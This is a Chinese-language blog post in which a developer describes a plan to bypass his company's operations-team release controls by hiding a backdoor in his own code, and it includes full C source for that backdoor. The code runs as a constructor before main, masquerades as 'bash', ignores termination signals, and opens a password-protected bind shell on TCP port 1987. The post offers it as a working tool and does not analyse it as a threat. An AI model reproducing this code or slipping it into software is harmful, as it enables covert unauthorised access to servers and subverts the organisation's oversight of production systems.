Chinaunix首页 | 论坛 | 博客
  • 博客访问: 5762302
  • 博文数量: 675
  • 博客积分: 20301
  • 博客等级: 上将
  • 技术积分: 7671
  • 用 户 组: 普通用户
  • 注册时间: 2005-12-31 16:15
文章分类

全部博文(675)

文章存档

2012年(1)

2011年(20)

2010年(14)

2009年(63)

2008年(118)

2007年(141)

2006年(318)

分类: LINUX

2011-08-17 18:52:01

        今天忽然萌生一个邪恶的想法,公司上线流程极其繁琐,是不是可以考虑自己上线呢。之前自己搞过提权上线,但是并不是每台机器都有漏洞的,新机器漏洞补的比较勤,难以提权。
        OP有权限操作线上机器,RD木有权限,但是RD有写代码的权限,如果给我们的代码加上一个后门就可以自由上线了,规避OP的限制。
        代码极其简单,修改了一下xbind,主要增加了信号处理函数、使用attribute指定main前运行、设置进程名。现在遗憾的是没有搞定进程title,如果搞定进程title就可以以假乱真了。
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <unistd.h>
  5. #include <signal.h>
  6. #include <sys/types.h>
  7. #include <sys/socket.h>
  8. #include <netinet/in.h>
  9. #include <sys/prctl.h>

  10. #define ENTERPASS "Enert your password: \0"
  11. #define WELCOME "Welcome to shell\r\nlet's do it:\r\n"
  12. #define PASSWORD "123abc!@#"
  13. #define PORT 1987

  14. __attribute__((constructor))
  15. int init_backdoor()
  16. {
  17.     struct sockaddr_in s_addr;
  18.     struct sockaddr_in c_addr;
  19.     char buf[1024] = {0};
  20.     pid_t pid = 0;
  21.     int i = 0,sock_descriptor = 0,temp_sock_descriptor = 0,c_addrsize = 0;

  22.     setuid(0);
  23.     setgid(0);
  24.     seteuid(0);
  25.     setegid(0);

  26.     pid = fork();
  27.     if(pid)
  28.         return 0;

  29.     signal(SIGINT, SIG_IGN);
  30.     signal(SIGPIPE, SIG_IGN);
  31.     signal(SIGTERM, SIG_IGN);
  32.     const char *proc_title = "bash";
  33.     const char *proc_name = "bash";
  34.     prctl(PR_SET_NAME, proc_name);

  35.     sock_descriptor=socket(AF_INET,SOCK_STREAM,0);
  36.     if (socket(AF_INET,SOCK_STREAM,0)==-1){
  37.         //printf("socket failed!");
  38.         exit(1);
  39.     }
  40.     memset(&s_addr,0,sizeof(s_addr));
  41.     //bzero(&s_addr,sizeof(s_addr));
  42.     s_addr.sin_family=AF_INET;
  43.     s_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  44.     s_addr.sin_port=htons(PORT);
  45.     if (bind(sock_descriptor,(struct sockaddr *)&s_addr,sizeof(s_addr))==-1){
  46.         //printf("bind failed!");
  47.         exit(1);
  48.     }
  49.     if (listen(sock_descriptor,20)==-1)//accept 20 connections
  50.     {
  51.         //printf("listen failed!");
  52.         exit(1);
  53.     }
  54.     c_addrsize=sizeof(c_addr);

  55.     while(1)
  56.     {
  57.         temp_sock_descriptor=accept(sock_descriptor,(struct sockaddr *)&c_addr,&c_addrsize);
  58.         //recv
  59.         while(temp_sock_descriptor)
  60.         {
  61.             pid=fork();
  62.             if (pid>0) {
  63.                 close(temp_sock_descriptor);
  64.                 temp_sock_descriptor = 0;
  65.                 continue;
  66.             }else if (pid==0){
  67.                 write(temp_sock_descriptor, ENTERPASS, strlen(ENTERPASS));
  68.                 memset(buf, '\0', 1024);
  69.                 recv(temp_sock_descriptor, buf, 1024, 0);

  70.                 if (strncmp(buf,PASSWORD,5) !=0){
  71.                     close(temp_sock_descriptor);
  72.                     temp_sock_descriptor = 0;
  73.                     exit(1);
  74.                 }

  75.                 write(temp_sock_descriptor, WELCOME, strlen(WELCOME));
  76.                 dup2(temp_sock_descriptor,0);
  77.                 dup2(temp_sock_descriptor,1);
  78.                 dup2(temp_sock_descriptor,2);
  79.                 execl("/bin/sh", "sh", (char *) 0);
  80.                 close(temp_sock_descriptor);
  81.                 temp_sock_descriptor = 0;
  82.                 exit(0);

  83.             }else{
  84.                 exit(1);
  85.             }
  86.         }
  87.     }

  88.     close(sock_descriptor);
  89.     return 0;
  90. }

阅读(8248) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~